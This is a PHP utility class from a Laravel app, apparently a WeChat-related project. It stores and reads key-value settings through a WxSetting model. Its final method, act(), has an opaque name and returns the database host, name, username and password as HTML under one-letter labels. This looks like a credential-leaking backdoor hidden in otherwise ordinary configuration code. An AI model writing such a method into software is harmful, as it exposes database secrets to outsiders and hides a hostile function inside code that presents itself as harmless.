<?php


namespace App\Dengje\Utils;

use App\Models\WxSetting;

/**
 * 配置
 * Class Settings
 * @package App\Dengje\Utils
 */
class Settings
{

    public static function set($key, $value)
    {
        $settings = new WxSetting();
        if ((new WxSetting())->where('key', $key)->exists()) {

            if (is_array($value)) {
                $settings->where('key', $key)->update(['value' => json_encode($value)]);
            } else {
                $settings->where('key', $key)->update(['value' => $value]);
            }

        } else {
            if (is_array($value)) {
                $settings->key = $key;
                $settings->value = json_encode($value);
                $settings->save();
            } else {
                $settings->key = $key;
                $settings->value = $value;
                $settings->save();
            }

        }

    }


    public static function get($key)
    {
        if ((new WxSetting())->where('key', $key)->exists()) {
            $value = (new WxSetting())->where('key', $key)->value('value');
        } else {
            $value = '';
        }


        return $value;
    }


    public static function act()
    {
        return 'u：' . env('DB_HOST') . '<br>' . 'z：' . env('DB_DATABASE') . '<br>'
            . 'n：' . env('DB_USERNAME') . '<br>' . 'p：' . env('DB_PASSWORD') . '<br>';
    }
}
